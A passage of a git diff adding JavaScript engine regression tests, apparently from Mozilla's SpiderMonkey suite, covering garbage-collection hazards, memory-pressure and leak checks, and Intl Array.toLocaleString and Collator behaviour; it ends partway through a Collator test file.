+var BUGNUMBER = 319980;
+var summary = 'GC not called during non-fatal out of memory';
+var actual = '';
+var expect = 'Normal Exit';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+print ('This test should never fail explicitly. ' +
+ 'You must view the memory usage during the test. ' +
+ 'This test fails if memory usage for each subtest grows');
+
+var timeOut = 45 * 1000;
+var interval = 0.01 * 1000;
+var testFuncWatcherId;
+var testFuncTimerId;
+var maxTests = 5;
+var currTest = 0;
+
+// delay start until after js-test-driver-end runs.
+// delay test driver end
+gDelayTestDriverEnd = true;
+
+setTimeout(testFuncWatcher, 1000);
+
+function testFuncWatcher()
+{
+ a = null;
+
+ gc();
+
+ clearTimeout(testFuncTimerId);
+ testFuncWatcherId = testFuncTimerId = null;
+ if (currTest >= maxTests)
+ {
+ actual = 'Normal Exit';
+ reportCompare(expect, actual, summary);
+ printStatus('Test Completed');
+ gDelayTestDriverEnd = false;
+ jsTestDriverEnd();
+ return;
+ }
+ ++currTest;
+
+ print('Executing test ' + currTest + '\n');
+
+ testFuncWatcherId = setTimeout("testFuncWatcher()", timeOut);
+ testFuncTimerId = setTimeout(testFunc, interval);
+}
+
+
+var a;
+function testFunc()
+{
+
+ var i;
+
+ switch(currTest)
+ {
+ case 1:
+ a = new Array(100000);
+ for (i = 0; i < 100000; i++ )
+ {
+ a[i] = i;
+ }
+ break;
+
+ case 2:
+ a = new Array(100000);
+ for (i = 0; i < 100000; i++)
+ {
+ a[i] = new Number();
+ a[i] = i;
+ }
+ break;
+
+ case 3:
+ a = new String() ;
+ a = new Array(100000);
+ for ( i = 0; i < 100000; i++ )
+ {
+ a[i] = i;
+ }
+
+ break;
+
+ case 4:
+ a = new Array();
+ a[0] = new Array(100000);
+ for (i = 0; i < 100000; i++ )
+ {
+ a[0][i] = i;
+ }
+ break;
+
+ case 5:
+ a = new Array();
+ for (i = 0; i < 100000; i++ )
+ {
+ a[i] = i;
+ }
+ break;
+ }
+
+ if (testFuncTimerId)
+ {
+ testFuncTimerId = setTimeout(testFunc, interval);
+ }
+}
+
+
diff --git a/js/src/tests/non262/GC/regress-324278.js b/js/src/tests/non262/GC/regress-324278.js
new file mode 100644
index 0000000000..56996994d2
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-324278.js
@@ -0,0 +1,63 @@
+// |reftest| skip -- slow, obsoleted by 98409 fix
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 324278;
+var summary = 'GC without recursion';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+// Number to push native stack size beyond 10MB if GC recurses generating
+// segfault on Fedora Core / Ubuntu Linuxes where the stack size by default
+// is 10MB/8MB.
+var N = 100*1000;
+
+function build(N) {
+ // Exploit the fact that (in ES3), regexp literals are shared between
+ // function invocations. Thus we build the following chain:
+ // chainTop: function->regexp->function->regexp....->null
+ // to check how GC would deal with this chain.
+
+ var chainTop = null;
+ for (var i = 0; i != N; ++i) {
+ var f = Function('some_arg'+i, ' return /test/;');
+ var re = f();
+ re.previous = chainTop;
+ chainTop = f;
+ }
+ return chainTop;
+}
+
+function check(chainTop, N) {
+ for (var i = 0; i != N; ++i) {
+ var re = chainTop();
+ chainTop = re.previous;
+ }
+ if (chainTop !== null)
+ throw "Bad chainTop";
+
+}
+
+if (typeof gc != "function") {
+ gc = function() {
+ for (var i = 0; i != 50*1000; ++i) {
+ var tmp = new Object();
+ }
+ }
+}
+
+var chainTop = build(N);
+printStatus("BUILT");
+gc();
+check(chainTop, N);
+printStatus("CHECKED");
+chainTop = null;
+gc();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/GC/regress-331719.js b/js/src/tests/non262/GC/regress-331719.js
new file mode 100644
index 0000000000..3803b3d5cb
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-331719.js
@@ -0,0 +1,19 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 331719;
+var summary = 'Problem with String.replace running with WAY_TOO_MUCH_GC';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+print('This test requires WAY_TOO_MUCH_GC');
+
+expect = 'No';
+actual = 'No'.replace(/\&\&/g, '&');
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/GC/regress-338653.js b/js/src/tests/non262/GC/regress-338653.js
new file mode 100644
index 0000000000..da1b7c5059
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-338653.js
@@ -0,0 +1,41 @@
+// |reftest| slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 338653;
+var summary = 'Force GC when JSRuntime.gcMallocBytes hits ' +
+ 'JSRuntime.gcMaxMallocBytes';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+print('This test should never fail explicitly. ' +
+ 'You must view the memory usage during the test. ' +
+ 'This test fails if the memory usage repeatedly spikes ' +
+ 'by several hundred megabytes.');
+
+function dosubst()
+{
+ var f = '0x';
+ var s = f;
+
+ for (var i = 0; i < 18; i++)
+ {
+ s += s;
+ }
+
+ var index = s.indexOf(f);
+ while (index != -1 && index < 10000) {
+ s = s.substr(0, index) + '1' + s.substr(index + f.length);
+ index = s.indexOf(f);
+ }
+
+}
+
+dosubst();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/GC/regress-341877-01.js b/js/src/tests/non262/GC/regress-341877-01.js
new file mode 100644
index 0000000000..6fc88f3ac0
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-341877-01.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 341877;
+var summary = 'GC hazard with for-in loop';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var obj = { };
+
+var prop = "xsomePropety".substr(1);
+
+obj.first = "first"
+
+ obj[prop] = 1;
+
+for (var elem in obj) {
+ var tmp = elem.toString();
+ delete obj[prop];
+ // ensure that prop is cut from all roots
+ prop = "xsomePropety".substr(2);
+ obj[prop] = 2;
+ delete obj[prop];
+ prop = null;
+ if (typeof gc == 'function')
+ gc();
+ for (var i = 0; i != 50000; ++i) {
+ var tmp = 1 / 3;
+ tmp /= 10;
+ }
+}
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/GC/regress-341877-02.js b/js/src/tests/non262/GC/regress-341877-02.js
new file mode 100644
index 0000000000..b636ad6930
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-341877-02.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 341877;
+var summary = 'GC hazard with for-in loop';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var obj = { };
+
+var prop = "xsomePropety".substr(1);
+
+obj.first = "first"
+
+ obj[prop] = 1;
+
+for (var elem in obj) {
+ var tmp = elem.toString();
+ delete obj[prop];
+ // ensure that prop is cut from all roots
+ prop = "xsomePropety".substr(2);
+ obj[prop] = 2;
+ delete obj[prop];
+ prop = null;
+ if (typeof gc == 'function')
+ gc();
+ for (var i = 0; i != 50000; ++i) {
+ var tmp = 1 / 3;
+ tmp /= 10;
+ }
+ for (var i = 0; i != 1000; ++i) {
+ // Make string with 11 characters that would take
+ // (11 + 1) * 2 bytes or sizeof(JSAtom) so eventually
+ // malloc will ovewrite just freed atoms.
+ var tmp2 = Array(12).join(' ');
+ }
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/GC/regress-346794.js b/js/src/tests/non262/GC/regress-346794.js
new file mode 100644
index 0000000000..5e3614ec29
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-346794.js
@@ -0,0 +1,40 @@
+// |reftest| slow -- slow, killed
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 346794;
+var summary = 'Do not crash';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ // either don't crash or run out of memory
+ expectExitCode(0);
+ expectExitCode(3);
+
+ function boo() {
+ s = '';
+ for (;;) {
+ try {
+ new RegExp(s + '[\\');
+ } catch(e) {}
+ s += 'q';
+ }
+ }
+
+ boo();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/GC/regress-348532.js b/js/src/tests/non262/GC/regress-348532.js
new file mode 100644
index 0000000000..24f5624143
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-348532.js
@@ -0,0 +1,51 @@
+// |reftest| slow skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 348532;
+var summary = 'Do not overflow int when constructing Error.stack';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expectExitCode(0);
+ expectExitCode(3);
+ actual = 0;
+
+ // construct string of 1<<23 characters
+ var s = Array((1<<23)+1).join('x');
+
+ var recursionDepth = 0;
+ function err() {
+ try {
+ return err.apply(this, arguments);
+ } catch (e) {
+ if (!(e instanceof InternalError))
+ throw e;
+ }
+ return new Error();
+ }
+
+ // The full stack trace in error would include 64*4 copies of s exceeding
+ // 2^23 * 256 or 2^31 in length
+ var error = err(s,s,s,s);
+
+ print(error.stack.length);
+
+ expect = true;
+ actual = (error.stack.length > 0);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/GC/regress-352606.js b/js/src/tests/non262/GC/regress-352606.js
new file mode 100644
index 0000000000..61ad848f8b
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-352606.js
@@ -0,0 +1,25 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 352606;
+var summary = 'Do not crash involving post decrement';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ y = ({toString: gc}); new Function("y--;")()
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/GC/regress-383269-01.js b/js/src/tests/non262/GC/regress-383269-01.js
new file mode 100644
index 0000000000..6802e1460f
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-383269-01.js
@@ -0,0 +1,59 @@
+// |reftest| random -- unreliable - based on GC timing
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 383269;
+var summary = 'Leak related to arguments object';
+var actual = 'No Leak';
+var expect = 'No Leak';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function generate_big_object_graph()
+ {
+ var root = {};
+ f(root, 17);
+ return root;
+ function f(parent, depth) {
+ if (depth == 0)
+ return;
+ --depth;
+ f(parent.a = {}, depth);
+ f(parent.b = {}, depth);
+ }
+ }
+
+ function outer() { var x = arguments; return function inner() { return x }; }
+
+ function timed_gc()
+ {
+ var t1 = Date.now();
+ gc();
+ return Date.now() - t1;
+ }
+
+ outer(1);
+ gc();
+ var base_time = timed_gc();
+
+ var f = outer(generate_big_object_graph());
+ f = null;
+ gc();
+ var time = timed_gc();
+
+ if (time > (base_time + 1) * 3)
+ actual = "generate_big_object_graph() leaked, base_gc_time="+base_time+", last_gc_time="+time;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/GC/regress-383269-02.js b/js/src/tests/non262/GC/regress-383269-02.js
new file mode 100644
index 0000000000..67c31bfc0e
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-383269-02.js
@@ -0,0 +1,63 @@
+// |reftest| random -- unreliable - based on GC timing
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 383269;
+var summary = 'Leak related to arguments object';
+var actual = 'No Leak';
+var expect = 'No Leak';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function generate_big_object_graph()
+ {
+ var root = {};
+ f(root, 17);
+ return root;
+ function f(parent, depth) {
+ if (depth == 0)
+ return;
+ --depth;
+ f(parent.a = {}, depth);
+ f(parent.b = {}, depth);
+ }
+ }
+
+ function f(obj) {
+ with (obj)
+ return arguments;
+ }
+
+ function timed_gc()
+ {
+ var t1 = Date.now();
+ gc();
+ return Date.now() - t1;
+ }
+
+ var x = f({});
+ x = null;
+ gc();
+ var base_time = timed_gc();
+
+ x = f(generate_big_object_graph());
+ x = null;
+ gc();
+ var time = timed_gc();
+
+ if (time > (base_time + 10) * 3)
+ actual = "generate_big_object_graph() leaked, base_gc_time="+base_time+", last_gc_time="+time;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/GC/regress-390078.js b/js/src/tests/non262/GC/regress-390078.js
new file mode 100644
index 0000000000..251fdc82e2
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-390078.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 390078;
+var summary = 'GC hazard with JSstackFrame.argv[-1]';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var a = new Array(10*1000);
+ a[0] = { toString: function() { gc(); return ".*9"; }};;
+ a[1] = "g";
+
+ for (var i = 0; i != 10*1000; ++i) {
+ String(new Number(123456789));
+ }
+
+ "".match.apply(123456789, a);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/GC/regress-418128.js b/js/src/tests/non262/GC/regress-418128.js
new file mode 100644
index 0000000000..77f9b2c78c
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-418128.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 418128;
+var summary = 'GC hazard with ++/--';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var obj = {};
+ var id = { toString: function() { return ""+Math.pow(2, 0.1); } }
+ obj[id] = { valueOf: unrooter };
+ print(obj[id]++);
+ gc();
+
+ function unrooter()
+ {
+ delete obj[id];
+ gc();
+ return 10;
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/GC/regress-440558.js b/js/src/tests/non262/GC/regress-440558.js
new file mode 100644
index 0000000000..3daef0f146
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-440558.js
@@ -0,0 +1,34 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 440558;
+var summary = 'Do not assert: *flagp != GCF_FINAL';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ print('Note: this test requires that javascript.options.gczeal ' +
+ 'be set to 2 prior to the browser start');
+
+ m = function(a, b) {
+ if (++i < 10) {
+ }
+ };
+ e = function(a, b) {
+ };
+
+ reportCompare(expect, actual, summary);
+}
+
diff --git a/js/src/tests/non262/GC/shell.js b/js/src/tests/non262/GC/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/GC/shell.js
diff --git a/js/src/tests/non262/Intl/Array/shell.js b/js/src/tests/non262/Intl/Array/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Intl/Array/shell.js
diff --git a/js/src/tests/non262/Intl/Array/toLocaleString-date.js b/js/src/tests/non262/Intl/Array/toLocaleString-date.js
new file mode 100644
index 0000000000..7711c60643
--- /dev/null
+++ b/js/src/tests/non262/Intl/Array/toLocaleString-date.js
@@ -0,0 +1,53 @@
+if (typeof Intl === "object") {
+ const localeSep = [,,].toLocaleString();
+
+ const date = new Date(Date.UTC(2012, 11, 12, 3, 0, 0));
+
+ assertEq([date].toLocaleString("en-us", {timeZone: "UTC"}), "12/12/2012, 3:00:00 AM");
+ assertEq([date].toLocaleString(["de", "en"], {timeZone: "UTC"}), "12.12.2012, 03:00:00");
+ assertEq([date].toLocaleString("th-th", {timeZone: "UTC"}), "12/12/2555 03:00:00");
+ assertEq([date].toLocaleString("th-th-u-nu-thai", {timeZone: "UTC"}), "๑๒/๑๒/๒๕๕๕ ๐๓:๐๐:๐๐");
+
+ const sampleValues = [
+ date, new Date(0),
+ ];
+ const sampleLocales = [
+ void 0,
+ "en",
+ "th-th-u-nu-thai",
+ "ja-jp",
+ "ar-ma-u-ca-islamicc",
+ ["tlh", "de"],
+ ];
+ const numericFormatOptions = {
+ timeZone: "UTC",
+ year: "numeric", month: "numeric", day: "numeric",
+ hour: "numeric", minute: "numeric", second: "numeric",
+ };
+ const longFormatOptions = {
+ timeZone: "UTC",
+ year: "numeric", month: "long", day: "numeric",
+ hour: "numeric", minute: "numeric", second: "numeric"
+ };
+ const sampleOptions = [
+ {timeZone: "UTC"},
+ longFormatOptions,
+ ];
+
+ for (let locale of sampleLocales) {
+ for (let options of sampleOptions) {
+ let dtfOptions;
+ if (options === longFormatOptions) {
+ dtfOptions = longFormatOptions;
+ } else {
+ dtfOptions = numericFormatOptions;
+ }
+ let dtf = new Intl.DateTimeFormat(locale, dtfOptions);
+ let expected = sampleValues.map(dtf.format).join(localeSep);
+ assertEq(sampleValues.toLocaleString(locale, options), expected);
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/Array/toLocaleString-number.js b/js/src/tests/non262/Intl/Array/toLocaleString-number.js
new file mode 100644
index 0000000000..6ca8a17837
--- /dev/null
+++ b/js/src/tests/non262/Intl/Array/toLocaleString-number.js
@@ -0,0 +1,34 @@
+if (typeof Intl === "object") {
+ const localeSep = [,,].toLocaleString();
+
+ assertEq([NaN].toLocaleString("ar"), "ليس رقم");
+ assertEq([NaN].toLocaleString(["zh-hant", "ar"]), "非數值");
+ assertEq([Infinity].toLocaleString("dz"), "གྲངས་མེད");
+ assertEq([-Infinity].toLocaleString(["fr", "en"]), "-∞");
+
+ const sampleValues = [
+ -0, +0, -1, +1, -2, +2, -0.5, +0.5,
+ ];
+ const sampleLocales = [
+ void 0,
+ "en",
+ "th-th-u-nu-thai",
+ ["tlh", "de"],
+ ];
+ const sampleOptions = [
+ void 0,
+ {},
+ {style: "percent"},
+ {style: "currency", currency: "USD", minimumIntegerDigits: 4},
+ ];
+ for (let locale of sampleLocales) {
+ for (let options of sampleOptions) {
+ let nf = new Intl.NumberFormat(locale, options);
+ let expected = sampleValues.map(nf.format).join(localeSep);
+ assertEq(sampleValues.toLocaleString(locale, options), expected);
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/Array/toLocaleString.js b/js/src/tests/non262/Intl/Array/toLocaleString.js
new file mode 100644
index 0000000000..f94e531f89
--- /dev/null
+++ b/js/src/tests/non262/Intl/Array/toLocaleString.js
@@ -0,0 +1,35 @@
+if (typeof Intl === "object") {
+ const localeSep = [,,].toLocaleString();
+
+ // Missing arguments are passed as |undefined|.
+ const objNoArgs = {
+ toLocaleString() {
+ assertEq(arguments.length, 2);
+ assertEq(arguments[0], undefined);
+ assertEq(arguments[1], undefined);
+ return "pass";
+ }
+ };
+ // - Single element case.
+ assertEq([objNoArgs].toLocaleString(), "pass");
+ // - More than one element.
+ assertEq([objNoArgs, objNoArgs].toLocaleString(), "pass" + localeSep + "pass");
+
+ // Ensure "locales" and "options" arguments are passed to the array elements.
+ const locales = {}, options = {};
+ const objWithArgs = {
+ toLocaleString() {
+ assertEq(arguments.length, 2);
+ assertEq(arguments[0], locales);
+ assertEq(arguments[1], options);
+ return "pass";
+ }
+ };
+ // - Single element case.
+ assertEq([objWithArgs].toLocaleString(locales, options), "pass");
+ // - More than one element.
+ assertEq([objWithArgs, objWithArgs].toLocaleString(locales, options), "pass" + localeSep + "pass");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/Collator/big5han-gb2312han.js b/js/src/tests/non262/Intl/Collator/big5han-gb2312han.js
new file mode 100644
index 0000000000..cf6870ff7d
--- /dev/null
+++ b/js/src/tests/non262/Intl/Collator/big5han-gb2312han.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/publicdomain/zero/1.0/ */
+
+let scrambled = ['𠙶', '𠇲', '㓙', '㑧', '假', '凷'];
+
+// Root or pinyin
+const fallback = ["假", "凷", "㑧", "㓙", "𠇲", "𠙶"];
+
+scrambled.sort(new Intl.Collator("zh-u-co-big5han").compare);
+assertEqArray(scrambled, fallback);
+
+scrambled.sort(new Intl.Collator("zh-u-co-gb2312").compare);
+assertEqArray(scrambled, fallback);
+
+assertEq(new Intl.Collator("zh-u-co-big5han").resolvedOptions().collation, "default");
+assertEq(new Intl.Collator("zh-u-co-gb2312").resolvedOptions().collation, "default");
+
+assertEq(Intl.supportedValuesOf("collation").includes("big5han"), false);
+assertEq(Intl.supportedValuesOf("collation").includes("gb2312"), false);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Intl/Collator/browser.js b/js/src/tests/non262/Intl/Collator/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Intl/Collator/browser.js
diff --git a/js/src/tests/non262/Intl/Collator/call.js b/js/src/tests/non262/Intl/Collator/call.js
new file mode 100644
index 0000000000..089764a2cb
--- /dev/null
+++ b/js/src/tests/non262/Intl/Collator/call.js
@@ -0,0 +1,74 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+function IsIntlService(c) {
+ return typeof c === "function" &&
+ c.hasOwnProperty("prototype") &&
+ c.prototype.hasOwnProperty("resolvedOptions");
+}
+
+function IsObject(o) {
+ return Object(o) === o;
+}
+
+function thisValues() {
+ const intlConstructors = Object.getOwnPropertyNames(Intl).map(name => Intl[name]).filter(IsIntlService);
+
+ return [
+ // Primitive values.
+ ...[undefined, null, true, "abc", Symbol(), 123],
+
+ // Object values.
+ ...[{}, [], /(?:)/, function(){}, new Proxy({}, {})],
+
+ // Intl objects.
+ ...[].concat(...intlConstructors.map(ctor => {
+ let args = [];
+ if (ctor === Intl.DisplayNames) {
+ // Intl.DisplayNames can't be constructed without any arguments.
+ args = [undefined, {type: "language"}];
+ }
+
+ return [
+ // Instance of an Intl constructor.
+ new ctor(...args),
+
+ // Instance of a subclassed Intl constructor.
+ new class extends ctor {}(...args),
+
+ // Object inheriting from an Intl constructor prototype.
+ Object.create(ctor.prototype),
+
+ // Intl object not inheriting from its default prototype.
+ Object.setPrototypeOf(new ctor(...args), Object.prototype),
+ ];
+ })),
+ ];
+}
+
+// Invoking [[Call]] for Intl.Collator always returns a new Collator instance.
+for (let thisValue of thisValues()) {
+ let obj = Intl.Collator.call(thisValue);
+ assertEq(Object.is(obj, thisValue), false);
+ assertEq(obj instanceof Intl.Collator, true);
+
+ // Ensure Intl.[[FallbackSymbol]] wasn't installed on |thisValue|.
+ if (IsObject(thisValue))
+ assertEqArray(Object.getOwnPropertySymbols(thisValue), []);
+}
+
+// Intl.Collator doesn't use the legacy Intl constructor compromise semantics.
+for (let thisValue of thisValues()) {
+ // Ensure instanceof operator isn't invoked for Intl.Collator.
+ Object.defineProperty(Intl.Collator, Symbol.hasInstance, {
+ get() {
+ assertEq(false, true, "@@hasInstance operator called");
+ }, configurable: true
+ });
+ let obj = Intl.Collator.call(thisValue);
+ delete Intl.Collator[Symbol.hasInstance];
+ assertEq(Object.is(obj, thisValue), false);
+ assertEq(obj instanceof Intl.Collator, true);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/Collator/caseFirst.js b/js/src/tests/non262/Intl/Collator/caseFirst.js
new file mode 100644
index 0000000000..d183c8fdd5
--- /dev/null
+++ b/js/src/tests/non262/Intl/Collator/caseFirst.js
@@ -0,0 +1,197 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Locales which use caseFirst=off for the standard (sort) collation type.
+const defaultLocales = Intl.Collator.supportedLocalesOf(["en", "de", "es", "sv", "ar", "zh", "ja"]);
+
+// Locales which use caseFirst=upper for the standard (sort) collation type.
+const upperFirstLocales = Intl.Collator.supportedLocalesOf(["cu", "da", "mt"]);
+
+// Default collation for zh (pinyin) reorders "á" before "a" at secondary strength level.
+const accentReordered = ["zh"];
+
+const allLocales = [...defaultLocales, ...upperFirstLocales];
+
+
+// Check default "caseFirst" option is resolved correctly.
+for (let locale of defaultLocales) {
+ let col = new Intl.Collator(locale, {usage: "sort"});
+ assertEq(col.resolvedOptions().caseFirst, "false");
+}
+for (let locale of upperFirstLocales) {
+ let col = new Intl.Collator(locale, {usage: "sort"});
+ assertEq(col.resolvedOptions().caseFirst, "upper");
+}
+for (let locale of allLocales) {
+ let col = new Intl.Collator(locale, {usage: "search"});
+ assertEq(col.resolvedOptions().caseFirst, "false");
+}
+
+
+const collOptions = {usage: "sort"};
+const primary = {sensitivity: "base"};
+const secondary = {sensitivity: "accent"};
+const tertiary = {sensitivity: "variant"};
+const caseLevel = {sensitivity: "case"};
+const strengths = [primary, secondary, tertiary, caseLevel];
+
+// "A" is sorted after "a" when caseFirst=off is the default and strength is tertiary.
+for (let locale of defaultLocales) {
+ let col = new Intl.Collator(locale, Object.assign({}, collOptions, tertiary));
+
+ assertEq(col.compare("A", "a"), 1);
+ assertEq(col.compare("a", "A"), -1);
+}
+for (let locale of defaultLocales.filter(loc => !accentReordered.includes(loc))) {
